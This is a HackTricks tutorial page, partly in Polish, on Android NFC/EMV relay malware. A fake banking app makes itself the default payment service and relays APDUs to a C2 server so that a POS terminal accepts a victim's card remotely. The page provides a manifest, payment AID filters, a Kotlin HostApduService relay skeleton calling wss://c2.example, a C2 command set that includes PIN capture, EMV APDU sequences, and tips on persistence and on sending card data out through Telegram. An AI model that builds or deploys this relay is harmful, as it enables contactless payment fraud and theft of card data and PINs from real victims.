Android HCE NFC/EMV Relay Attacks

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przegląd

Abuse of Android Host Card Emulation (HCE) pozwala złośliwej aplikacji ustawionej jako domyślna usługa płatności NFC na relaying transakcji kontaktless EMV w czasie rzeczywistym. Terminal POS komunikuje się przez ISO 14443-4/EMV z telefonem; HostApduService aplikacji odbiera APDU i przekazuje je przez dwukierunkowy C2 (często WebSocket) do backendu, który generuje odpowiedzi, które są następnie relayed z powrotem do POS. To umożliwia emulację karty na żywo bez lokalnych danych karty. Kampanie obserwowane na dużą skalę podszywają się pod aplikacje banków/rządu, proszą o ustawienie jako domyślna aplikacja płatnicza i automatycznie exfiltrate dane urządzenia/karty do Telegram bots/channels.

Kluczowe cechy

  • Android components: HostApduService + default NFC payment handler (category "payment")
  • Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops
  • Przebieg pracy operatora: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
  • Role: scanner (read EMV data) vs tapper (HCE/relay) builds

Minimalne elementy implementacji

Manifest (zostań domyślną usługą płatności HCE)

xml
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>

Przykładowa lista AID z kategorią płatności EMV (tylko aplikacje ustawione jako domyślna metoda płatności mogą odpowiadać na te AID):

xml
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/>   <!-- AmEx -->
</aid-group>
</host-apdu-service>

Poproś użytkownika o ustawienie domyślnej aplikacji płatniczej (otwiera ustawienia systemu):

kotlin
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)

Szkielet relaya HostApduService

kotlin
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null

override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}

override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}

override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}

private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}

Uwaga praktyczna: usługa w tle musi odpowiadać w ramach budżetu czasowego POS (~kilkaset ms) na każde APDU; utrzymuj socket o niskich opóźnieniach i pre-auth z C2. Zachowaj trwałość po zakończeniu procesu, używając w razie potrzeby usługi pierwszoplanowej.

Typowy zestaw poleceń C2 (zaobserwowany)

text
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error

EMV wymiana bezstykowa (wprowadzenie)

The POS drives the flow; the HCE app simply relays APDUs:

  • SELECT PPSE (2PAY.SYS.DDF01)
  • 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
  • SELECT application AID (e.g., VISA A0000000031010)
  • 00 A4 04 00 len 00
  • GET PROCESSING OPTIONS (GPO)
  • 80 A8 00 00 Lc 00
  • READ RECORD(S) per AFL
  • 00 B2 <SFI/record> 0C 00
  • GENERATE AC (ARQC/TC)
  • 80 AE 80 00 Lc 00

In a relay, the backend crafts valid FCI/FCP, AFL, records and a cryptogram; the phone only forwards bytes.

Scenariusze operatorów obserwowane w terenie

  • Deception + install: aplikacja zmienia wygląd na portal bankowy/rządowy, wyświetla pełnoekranowy WebView i natychmiast prosi o ustawienie się jako domyślna aplikacja płatnicza NFC.
  • Event-triggered activation: stuknięcie NFC wybudza HostApduService; the relay begins.
  • Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.
  • Exfiltration: dane urządzenia/karty są automatycznie publikowane na prywatnych kanałach/botach Telegram; WebSocket koordynuje sesje i wyświetlanie komunikatów w UI (np. on-device PIN UI).

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks